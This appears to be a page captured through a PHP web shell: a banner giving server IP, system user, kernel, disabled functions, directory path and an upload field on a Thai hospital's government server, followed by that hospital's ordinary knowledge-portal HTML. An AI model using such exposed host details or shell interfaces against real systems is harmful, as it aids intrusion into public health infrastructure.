| Server IP : 104.21.73.108 / Your IP : 216.73.216.59 Web Server : Apache/2 System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 User : paphayomho ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/paphayomho/domains/paphayomhospital.go.th/private_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ระบบคลังคู่มือและแนวทางปฏิบัติงาน (KM Portal) - โรงพยาบาลพะยอม</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Sarabun:wght@300;400;500;600;700&display=swap');
body {
font-family: 'Sarabun', sans-serif;
}
</style>
</head>
<body class="bg-[#f8fafc] flex flex-col min-h-screen text-gray-800 antialiased">
<header class="bg-gradient-to-r from-emerald-800 to-emerald-700 text-white shadow-md sticky top-0 z-50 backdrop-blur-md bg-opacity-95">
<div class="container mx-auto px-4 py-3.5 flex flex-col sm:flex-row justify-between items-center gap-4">
<div class="flex items-center space-x-3.5">
<div class="bg-white p-2.5 rounded-xl text-emerald-700 shadow-sm flex items-center justify-center">
<i class="fa-solid fa-house-medical text-2xl"></i>
</div>
<div>
<h1 class="text-xl font-bold tracking-wide leading-tight">ระบบคลังคู่มือปฏิบัติงาน</h1>
<p class="text-xs text-emerald-100 flex items-center mt-0.5">
<span class="inline-block w-2 h-2 rounded-full bg-emerald-400 mr-1.5 animate-pulse"></span>
โรงพยาบาลพะยอม • Knowledge Management
</p>
</div>
</div>
<div class="relative w-full sm:w-80 md:w-[450px]">
<input type="text" placeholder="ค้นหาคู่มือ, แนวทางปฏิบัติ, มาตรฐาน HA..."
class="w-full pl-11 pr-4 py-2.5 rounded-xl text-gray-800 bg-emerald-900/40 text-emerald-50 placeholder-emerald-200/70 border border-emerald-600/50 focus:outline-none focus:ring-2 focus:ring-emerald-400 focus:bg-white focus:text-gray-900 focus:placeholder-gray-400 shadow-inner transition-all duration-300">
<div class="absolute left-4 top-3.5 text-emerald-200/80 pointer-events-none transition-colors">
<i class="fa-solid fa-magnifying-glass"></i>
</div>
</div>
</div>
</header>
<div class="container mx-auto px-4 py-8 flex-1 grid grid-cols-1 md:grid-cols-4 gap-8">
<aside class="col-span-1">
<div class="bg-white rounded-2xl shadow-sm border border-slate-100 p-5 sticky top-28 transition-all duration-300 hover:shadow-md">
<h2 class="text-xs font-bold text-slate-400 uppercase tracking-wider mb-4 px-2 flex items-center justify-between">
<span>หมวดหมู่คู่มือ</span>
<i class="fa-solid fa-layer-group text-slate-300"></i>
</h2>
<nav class="space-y-1">
<a href="#" class="flex items-center justify-between px-3.5 py-2.5 rounded-xl bg-emerald-50 text-emerald-700 font-semibold transition-all duration-200 group">
<div class="flex items-center space-x-3">
<i class="fa-solid fa-folder-open w-5 text-center text-lg text-emerald-600"></i>
<span>ทั้งหมด</span>
</div>
<span class="bg-emerald-200/60 text-emerald-800 text-xs px-2 py-0.5 rounded-md font-bold">24</span>
</a>
<a href="#" class="flex items-center space-x-3 px-3.5 py-2.5 rounded-xl text-slate-600 hover:bg-slate-50 hover:text-emerald-600 transition-all duration-200 group">
<i class="fa-solid fa-user-shield w-5 text-center text-slate-400 group-hover:text-emerald-500 transition-colors"></i>
<span class="font-medium">กลุ่มงานบริหารทั่วไป</span>
</a>
<a href="#" class="flex items-center space-x-3 px-3.5 py-2.5 rounded-xl text-slate-600 hover:bg-slate-50 hover:text-emerald-600 transition-all duration-200 group">
<i class="fa-solid fa-user-md w-5 text-center text-slate-400 group-hover:text-emerald-500 transition-colors"></i>
<span class="font-medium">แนวทางปฏิบัติทางคลินิก (CPG)</span>
</a>
<a href="#" class="flex items-center space-x-3 px-3.5 py-2.5 rounded-xl text-slate-600 hover:bg-slate-50 hover:text-emerald-600 transition-all duration-200 group">
<i class="fa-solid fa-laptop-code w-5 text-center text-slate-400 group-hover:text-emerald-500 transition-colors"></i>
<span class="font-medium">ระบบศูนย์คอมพิวเตอร์ / IT</span>
</a>
<a href="#" class="flex items-center space-x-3 px-3.5 py-2.5 rounded-xl text-slate-600 hover:bg-slate-50 hover:text-emerald-600 transition-all duration-200 group">
<i class="fa-solid fa-triangle-exclamation w-5 text-center text-slate-400 group-hover:text-emerald-500 transition-colors"></i>
<span class="font-medium">การจัดการความเสี่ยง (NRLS)</span>
</a>
<a href="#" class="flex items-center space-x-3 px-3.5 py-2.5 rounded-xl text-slate-600 hover:bg-slate-50 hover:text-emerald-600 transition-all duration-200 group">
<i class="fa-solid fa-shield-halved w-5 text-center text-slate-400 group-hover:text-emerald-500 transition-colors"></i>
<span class="font-medium">มาตรฐานความปลอดภัย (HA)</span>
</a>
</nav>
<hr class="my-5 border-slate-100">
<div class="p-4 bg-slate-50 rounded-xl border border-slate-100 text-xs text-slate-500 shadow-inner">
<p class="font-bold text-slate-700 mb-1.5 flex items-center">
<i class="fa-solid fa-headset mr-2 text-emerald-600 text-sm"></i> ติดต่อผู้ดูแลระบบ
</p>
<p class="font-medium text-slate-600">กลุ่มงานสุขภาพดิจิทัล</p>
<p class="mt-1">เบอร์โทรภายใน: <span class="text-emerald-700 font-bold">104</span></p>
</div>
</div>
</aside>
<main class="col-span-1 md:col-span-3 space-y-6">
<div class="grid grid-cols-2 lg:grid-cols-4 gap-4">
<div class="bg-white p-4 rounded-2xl border border-slate-100 shadow-sm flex items-center space-x-4">
<div class="p-3 rounded-xl bg-emerald-50 text-emerald-600"><i class="fa-solid fa-file-invoice text-xl"></i></div>
<div><p class="text-xs text-slate-400 font-medium">คู่มือทั้งหมด</p><p class="text-xl font-bold text-slate-800">1 แฟ้ม</p></div>
</div>
<div class="bg-white p-4 rounded-2xl border border-slate-100 shadow-sm flex items-center space-x-4">
<div class="p-3 rounded-xl bg-blue-50 text-blue-600"><i class="fa-solid fa-download text-xl"></i></div>
<div><p class="text-xs text-slate-400 font-medium">ดาวน์โหลดรวม</p><p class="text-xl font-bold text-slate-800">1 ครั้ง</p></div>
</div>
<div class="bg-white p-4 rounded-2xl border border-slate-100 shadow-sm flex items-center space-x-4">
<div class="p-3 rounded-xl bg-amber-50 text-amber-600"><i class="fa-solid fa-eye text-xl"></i></div>
<div><p class="text-xs text-slate-400 font-medium">เข้าชมเดือนนี้</p><p class="text-xl font-bold text-slate-800">30 ครั้ง</p></div>
</div>
<div class="bg-white p-4 rounded-2xl border border-slate-100 shadow-sm flex items-center space-x-4">
<div class="p-3 rounded-xl bg-purple-50 text-purple-600"><i class="fa-solid fa-users text-xl"></i></div>
<div><p class="text-xs text-slate-400 font-medium">ผู้ใช้งานขณะนี้</p><p class="text-xl font-bold text-slate-800">5 ราย</p></div>
</div>
</div>
<div class="flex flex-col sm:flex-row justify-between items-start sm:items-center gap-3 pt-2">
<div>
<div class="text-xs font-medium text-slate-400 flex items-center space-x-2">
<a href="#" class="hover:text-emerald-600 transition-colors">หน้าแรก</a>
<i class="fa-solid fa-chevron-right text-[9px]"></i>
<span class="text-slate-600">คู่มือทั้งหมด</span>
</div>
<h2 class="text-2xl font-extrabold text-slate-800 mt-1.5 tracking-tight flex items-center gap-2">
รายการคู่มือปฏิบัติงานล่าสุด
</h2>
</div>
<div class="text-xs font-semibold text-emerald-700 bg-emerald-50 border border-emerald-100 px-3.5 py-2 rounded-xl shadow-sm flex items-center gap-1.5">
<i class="fa-regular fa-clock"></i> อัปเดตล่าสุด: 19 พ.ค. 2569
</div>
</div>
<div class="grid grid-cols-1 xl:grid-cols-2 gap-5">
<div class="bg-white rounded-2xl shadow-sm border border-slate-100 p-6 hover:shadow-md hover:-translate-y-0.5 transition-all duration-300 flex flex-col justify-between group">
<div>
<div class="flex justify-between items-start mb-4">
<span class="bg-emerald-50 text-emerald-700 border border-emerald-100/50 text-xs font-bold px-3 py-1 rounded-xl">
ระบบคอมพิวเตอร์ / IT
</span>
<span class="text-xs text-slate-400 font-medium flex items-center bg-slate-50 px-2 py-1 rounded-md">
<i class="fa-regular fa-eye mr-1.5 text-slate-400"></i> 1 ครั้ง
</span>
</div>
<h3 class="font-bold text-slate-800 group-hover:text-emerald-700 transition-colors mb-2.5 text-lg leading-snug">
คู่มือการใช้งานระบบสารสนเทศโรงพยาบาล (HIS) บน Cloud
</h3>
<p class="text-slate-500 text-sm leading-relaxed line-clamp-2 mb-5">
ขั้นตอนการเข้าใช้งาน การบันทึกข้อมูลผู้ป่วยนอก (OPD) และการแก้ไขปัญหาเบื้องต้นเมื่อระบบตัดการทำงาน
</p>
</div>
<div class="flex flex-col sm:flex-row items-stretch sm:items-center justify-between gap-3 border-t border-slate-50 pt-4 mt-2">
<div class="flex items-center space-x-2 text-xs font-medium text-slate-400">
<div class="w-7 h-7 rounded-full bg-emerald-50 text-emerald-600 flex items-center justify-center">
<i class="fa-solid fa-shield-halved"></i>
</div>
<span>กลุ่มงานสุขภาพดิจิทัล</span>
</div>
<div class="flex space-x-2.5 justify-end">
<a href="#" class="px-3.5 py-2 text-xs font-bold text-emerald-700 bg-emerald-50 hover:bg-emerald-100 rounded-xl transition-colors flex items-center gap-1.5">
<i class="fa-regular fa-file-pdf text-sm text-rose-500"></i> PDF
</a>
<a href="#" class="px-4 py-2 text-xs font-bold text-white bg-emerald-600 hover:bg-emerald-700 shadow-sm hover:shadow rounded-xl transition-all flex items-center gap-1">
อ่านออนไลน์ <i class="fa-solid fa-arrow-right text-[10px]"></i>
</a>
</div>
</div>
</div>
<div class="bg-white rounded-2xl shadow-sm border border-slate-100 p-6 hover:shadow-md hover:-translate-y-0.5 transition-all duration-300 flex flex-col justify-between group">
<div>
<div class="flex justify-between items-start mb-4">
<span class="bg-amber-50 text-amber-700 border border-amber-100/50 text-xs font-bold px-3 py-1 rounded-xl">
การจัดการความเสี่ยง
</span>
<span class="text-xs text-slate-400 font-medium flex items-center bg-slate-50 px-2 py-1 rounded-md">
<i class="fa-regular fa-eye mr-1.5 text-slate-400"></i> 0 ครั้ง
</span>
</div>
<h3 class="font-bold text-slate-800 group-hover:text-emerald-700 transition-colors mb-2.5 text-lg leading-snug">
แนวทางปฏิบัติการรายงานอุบัติการณ์ความเสี่ยง (NRLS)
</h3>
<p class="text-slate-500 text-sm leading-relaxed line-clamp-2 mb-5">
เกณฑ์ความรุนแรงระดับ A-I และขั้นตอนการบันทึกรายงานผ่านระบบ HRMS & NRLS ประจำปีงบประมาณ 2569
</p>
</div>
<div class="flex flex-col sm:flex-row items-stretch sm:items-center justify-between gap-3 border-t border-slate-50 pt-4 mt-2">
<div class="flex items-center space-x-2 text-xs font-medium text-slate-400">
<div class="w-7 h-7 rounded-full bg-amber-50 text-amber-600 flex items-center justify-center">
<i class="fa-solid fa-shield-halved"></i>
</div>
<span>ศูนย์คุณภาพ (HA)</span>
</div>
<div class="flex space-x-2.5 justify-end">
<a href="#" class="px-3.5 py-2 text-xs font-bold text-emerald-700 bg-emerald-50 hover:bg-emerald-100 rounded-xl transition-colors flex items-center gap-1.5">
<i class="fa-regular fa-file-pdf text-sm text-rose-500"></i> PDF
</a>
<a href="#" class="px-4 py-2 text-xs font-bold text-white bg-emerald-600 hover:bg-emerald-700 shadow-sm hover:shadow rounded-xl transition-all flex items-center gap-1">
อ่านออนไลน์ <i class="fa-solid fa-arrow-right text-[10px]"></i>
</a>
</div>
</div>
</div>
<div class="bg-white rounded-2xl shadow-sm border border-slate-100 p-6 hover:shadow-md hover:-translate-y-0.5 transition-all duration-300 flex flex-col justify-between group">
<div>
<div class="flex justify-between items-start mb-4">
<span class="bg-blue-50 text-blue-700 border border-blue-100/50 text-xs font-bold px-3 py-1 rounded-xl">
บริหารทั่วไป
</span>
<span class="text-xs text-slate-400 font-medium flex items-center bg-slate-50 px-2 py-1 rounded-md">
<i class="fa-regular fa-eye mr-1.5 text-slate-400"></i> 5 ครั้ง
</span>
</div>
<h3 class="font-bold text-slate-800 group-hover:text-emerald-700 transition-colors mb-2.5 text-lg leading-snug">
คู่มือปฐมนิเทศบุคลากรใหม่และระเบียบวินัยพนักงาน
</h3>
<p class="text-slate-500 text-sm leading-relaxed line-clamp-2 mb-5">
รวมสิทธิสวัสดิการ กฎระเบียบข้อบังคับ และขั้นตอนการลาประเภทต่างๆ ของข้าราชการและลูกจ้างโรงพยาบาล
</p>
</div>
<div class="flex flex-col sm:flex-row items-stretch sm:items-center justify-between gap-3 border-t border-slate-50 pt-4 mt-2">
<div class="flex items-center space-x-2 text-xs font-medium text-slate-400">
<div class="w-7 h-7 rounded-full bg-blue-50 text-blue-600 flex items-center justify-center">
<i class="fa-solid fa-shield-halved"></i>
</div>
<span>กลุ่มงานทรัพยากรบุคคล</span>
</div>
<div class="flex space-x-2.5 justify-end">
<a href="orientation_manual_ppy.html" class="px-3.5 py-2 text-xs font-bold text-emerald-700 bg-emerald-50 hover:bg-emerald-100 rounded-xl transition-colors flex items-center gap-1.5">
<i class="fa-regular fa-file-pdf text-sm text-rose-500"></i> PDF
</a>
<a href="orientation_manual_ppy.html" class="px-4 py-2 text-xs font-bold text-white bg-emerald-600 hover:bg-emerald-700 shadow-sm hover:shadow rounded-xl transition-all flex items-center gap-1">
อ่านออนไลน์ <i class="fa-solid fa-arrow-right text-[10px]"></i>
</a>
</div>
</div>
</div>
<div class="bg-white rounded-2xl shadow-sm border border-slate-100 p-6 hover:shadow-md hover:-translate-y-0.5 transition-all duration-300 flex flex-col justify-between group">
<div>
<div class="flex justify-between items-start mb-4">
<span class="bg-red-50 text-red-700 border border-red-100/50 text-xs font-bold px-3 py-1 rounded-xl">
มาตรฐานความปลอดภัย
</span>
<span class="text-xs text-slate-400 font-medium flex items-center bg-slate-50 px-2 py-1 rounded-md">
<i class="fa-regular fa-eye mr-1.5 text-slate-400"></i> 0 ครั้ง
</span>
</div>
<h3 class="font-bold text-slate-800 group-hover:text-emerald-700 transition-colors mb-2.5 text-lg leading-snug">
แผนเผชิญเหตุอัคคีภัยและการซ้อมอพยพหนีไฟประจำปี
</h3>
<p class="text-slate-500 text-sm leading-relaxed line-clamp-2 mb-5">
ผังโครงสร้างทีมเผชิญเหตุ จุดรวมพล และขั้นตอนการประสานงานเมื่อเกิดเหตุฉุกเฉินภายในอาคารผู้ป่วย
</p>
</div>
<div class="flex flex-col sm:flex-row items-stretch sm:items-center justify-between gap-3 border-t border-slate-50 pt-4 mt-2">
<div class="flex items-center space-x-2 text-xs font-medium text-slate-400">
<div class="w-7 h-7 rounded-full bg-red-50 text-red-600 flex items-center justify-center">
<i class="fa-solid fa-shield-halved"></i>
</div>
<span>คณะกรรมการ ENV</span>
</div>
<div class="flex space-x-2.5 justify-end">
<a href="#" class="px-3.5 py-2 text-xs font-bold text-emerald-700 bg-emerald-50 hover:bg-emerald-100 rounded-xl transition-colors flex items-center gap-1.5">
<i class="fa-regular fa-file-pdf text-sm text-rose-500"></i> PDF
</a>
<a href="#" class="px-4 py-2 text-xs font-bold text-white bg-emerald-600 hover:bg-emerald-700 shadow-sm hover:shadow rounded-xl transition-all flex items-center gap-1">
อ่านออนไลน์ <i class="fa-solid fa-arrow-right text-[10px]"></i>
</a>
</div>
</div>
</div>
</div>
<div class="flex justify-center items-center space-x-2 pt-6">
<a href="#" class="w-9 h-9 rounded-xl border border-slate-200 bg-white text-slate-500 hover:bg-slate-50 hover:text-emerald-600 flex items-center justify-center shadow-sm transition-all">
<i class="fa-solid fa-chevron-left text-xs"></i>
</a>
<a href="#" class="w-9 h-9 rounded-xl bg-emerald-600 text-white font-bold flex items-center justify-center shadow-sm shadow-emerald-200">1</a>
<a href="#" class="w-9 h-9 rounded-xl border border-slate-200 bg-white text-slate-700 hover:bg-slate-50 hover:text-emerald-600 font-medium flex items-center justify-center shadow-sm transition-all">2</a>
<a href="#" class="w-9 h-9 rounded-xl border border-slate-200 bg-white text-slate-700 hover:bg-slate-50 hover:text-emerald-600 font-medium flex items-center justify-center shadow-sm transition-all">3</a>
<a href="#" class="w-9 h-9 rounded-xl border border-slate-200 bg-white text-slate-500 hover:bg-slate-50 hover:text-emerald-600 flex items-center justify-center shadow-sm transition-all">
<i class="fa-solid fa-chevron-right text-xs"></i>
</a>
</div>
</main>
</div>
<footer class="bg-slate-900 text-slate-400 text-xs py-8 mt-16 border-t border-slate-800">
<div class="container mx-auto px-4 text-center space-y-2.5">
<p class="text-slate-200 font-semibold text-sm tracking-wide">ระบบการจัดการความรู้ (Knowledge Management) โรงพยาบาลพะยอม</p>
<p class="text-slate-400">พัฒนาและดูแลรักษาโดย กลุ่มงานสุขภาพดิจิทัล (Digital Health Group)</p>
<div class="pt-2 border-t border-slate-800/60 w-48 mx-auto"></div>
<p class="text-slate-500 text-[11px]">© 2026 Paphayom Hospital. All Rights Reserved.</p>
</div>
</footer>
</body>
</html>